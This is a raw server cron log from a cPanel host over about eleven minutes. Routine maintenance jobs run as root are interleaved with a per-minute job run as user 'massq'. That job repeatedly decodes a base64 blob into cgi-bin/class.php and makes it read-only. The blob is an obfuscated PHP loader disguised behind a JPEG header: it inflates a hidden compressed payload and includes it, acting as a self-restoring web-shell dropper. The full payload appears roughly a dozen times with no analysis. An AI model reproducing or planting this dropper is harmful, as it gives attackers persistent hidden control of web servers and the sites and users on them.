Sep  5 01:39:01 server CROND[22172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:39:01 server CROND[22173]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 01:40:01 server CROND[22658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:40:01 server CROND[22661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:40:01 server CROND[22662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:40:01 server CROND[22664]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:40:01 server CROND[22670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:40:01 server CROND[22669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:40:01 server CROND[22671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:40:01 server CROND[22666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:41:01 server CROND[23668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:41:01 server CROND[23669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:41:01 server CROND[23676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:42:01 server CROND[24051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:42:01 server CROND[24052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:42:01 server CROND[24053]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:42:01 server CROND[24054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:43:01 server CROND[24440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:43:01 server CROND[24441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:43:01 server CROND[24442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:44:01 server CROND[24816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:44:01 server CROND[24817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:44:01 server CROND[24818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:45:01 server CROND[25207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:45:01 server CROND[25209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:45:01 server CROND[25212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:45:01 server CROND[25213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:45:01 server CROND[25215]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:45:01 server CROND[25211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:45:01 server CROND[25214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:46:01 server CROND[26129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:46:01 server CROND[26130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:46:01 server CROND[26131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:47:01 server CROND[26526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:47:01 server CROND[26527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:47:01 server CROND[26528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:48:01 server CROND[26914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:48:01 server CROND[26915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:48:01 server CROND[26917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:49:01 server CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:49:01 server CROND[27327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:49:01 server CROND[27328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:50:01 server CROND[27748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:50:01 server CROND[27749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:50:01 server CROND[27750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:50:01 server CROND[27753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:50:01 server CROND[27757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:50:01 server CROND[27758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:50:01 server CROND[27765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:50:01 server CROND[27760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
